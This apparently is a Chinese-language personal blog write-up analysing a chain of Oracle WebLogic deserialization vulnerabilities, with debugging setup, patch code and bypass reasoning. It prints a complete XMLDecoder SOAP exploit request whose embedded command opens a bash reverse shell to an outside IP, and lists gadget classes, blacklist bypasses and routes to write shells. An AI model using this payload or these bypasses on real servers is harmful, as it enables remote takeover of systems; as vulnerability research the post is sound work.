WebLogic系列漏洞分析

CVE-2017-3506 -> CVE-2017-10271 -> CVE-2019-2725 -> CVE-2019-2729 -> CVE-2020-2551

后来的几个就是coherence的新gadget,比如2883/144xx啥的这种可以结合着iiop用,就不写了。

1. 任意文件读+后台shell

读俩文件然后用工具解密,然后后台部署war,war直接jsp压缩下改个war后缀就行

2. SSRF

没啥好说的,/uddiexplorer/SearchPublicRegistries.jsp

3. CVE-2017-10271 + CVE-2019-2725 XMLDecoder 反序列化漏洞

首先是远程调试

step1 port加上weblogic默认的远程调试端口- “8453:8453”

然后 vim /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 在if debugFlag上边加上: debugFlag=”true” export debugFlag

然后 ctrl+d, docker restart 就行

然后 docker cp 17139967d2fe:/root/Oracle/Middleware/wlserver_10.3 ./weblogic docker cp 17139967d2fe:/root/Oracle/Middleware/modules ./modules

把这俩弄到本地,里面的jar得加到lib里这样才能满足所有调试的依赖

step2 idea打开,项目结构把weblogic/server/lib和刚才的modules文件夹加到lib里。点debug,连接

看看代码调一下。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 10.224.21.72:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.92.191.98/1234 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

看burp报错,调用栈大概从weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法开始 这里应该是处理请求的,可以看到请求的参数内容就是发的xml

var3是从var2来的,大概就是work:WorkContext这个标签中的内容,看一下var3的value也的确是我们的payload

然后跟进readHeaderOld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
}
}

var4进入了WorkContextXmlInputAdapter,var4内容也就是我们传入的payload。然后跟进WorkContextXmlInputAdapter,发现直接new了XMLDecode

然后this.XMLDecoder直接readObject了,也就出发了xmldecode当年的漏洞

至于xmldecode的漏洞,参考https://xz.aliyun.com/t/5069 调用链大概:

1
2
3
4
5
XMLDecoder.readObject() 
-> XMLDecoder.parsingCompelete()
-> DocumentHandler.parse()
-> SAXParserFactory.newInstance().newSAXParser().parse()
-> xmlReader.parse()

再看看10271的补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;

public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
// payload中不能有object、new、method节点=
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
// void元素只能为空或则用index属性
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
//array只能是基本类型比如string或者byte
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
}
}

绕过原因:未过滤class和byte,而xmldecoder的readobject里会调jdk sax的解析器来处理xml,在处理class元素时,会调用class的构造方法。这样就触发了payload

因此绕过是找一个构造方法的参数是基本类型、并且构造方法里有可利用的点:

  1. 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
  2. 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
  3. 构造函数直接有执行命令的操作,执行命令可控。
  4. 有其它的可能导致rce的操作,比如表达式注入之类的。

然后就找到了UnitOfWorkChangeSet。这条链的话,直接common-collection是不行的,weblogic过滤了这条。

  1. 用3191应该是可以的,直接用spring的gadget,JtaTransactionManager来jndi注入。
  2. FileSystemXmlApplicationContext也可以,参考jackson的17485。
  3. EventData构造函数直接XMLDecoder二次反序列化

4. CVE-2018-2628

见先知文章https://xz.aliyun.com/t/2479

其中有一段payload是关于resolveProxy的,这篇说的不错。

这个其实要绕很简单,只需要找到

  1. 继承远程类:java.rmi.server.RemoteObject
  2. 不在黑名单里边(java.rmi.activation.* 、sun.rmi.server.* )

符合条件的挺多的: javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

1
2
3
RMIConnectionImpl_Stub 
->java.rmi.server.RemoteStub
->java.rmi.server.RemoteObject

但是weblogic过滤了invokeTransform等cc的链,所以只能用jdk7u21打

5. CVE-2018-3191

就是spring的gadget很神奇的在weblogic也出现了。。然后rmi一把梭 当然还是要结合10271或者2725

6. CVE-2019-2729

更骚,参考先知大会ppt,后来慢慢的好用的exp都放出来了

7. CVE-2020-2551

环境搭建

Weblogic 10.3.6 With JDK 6u25
Weblogic 10.3.6 With JDK 7u21
Weblogic 10.3.6 With JDK 8u121
Weblogic 12.1.3 With JDK 7u21
Weblogic 12.1.3 With JDK 8u121
Weblogic 12.2.1 With JDK 8u121

直接用ATeam在github开源的docker,一键搭建+调试

IIOP学习

网上的文章太多了,不讲通信过程了
主要注意bind这个方法里的bind_any,他在服务端对应的处理代码是read_any(),这里边直接readObject造成了反序列化,然后结合2883的coherence gadget实现rce

漏洞调试

调用栈如下图
-w464

回显

TemplateImpl被过滤
BCEL需要implement ClusterMasterRemote,然而classloader是systemClassloader,所以这里没戏。貌似可以,然而我改不出来了,有bug
最终用jython加载字节码实现回显。
貌似可以写shell
http://gv7.me/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY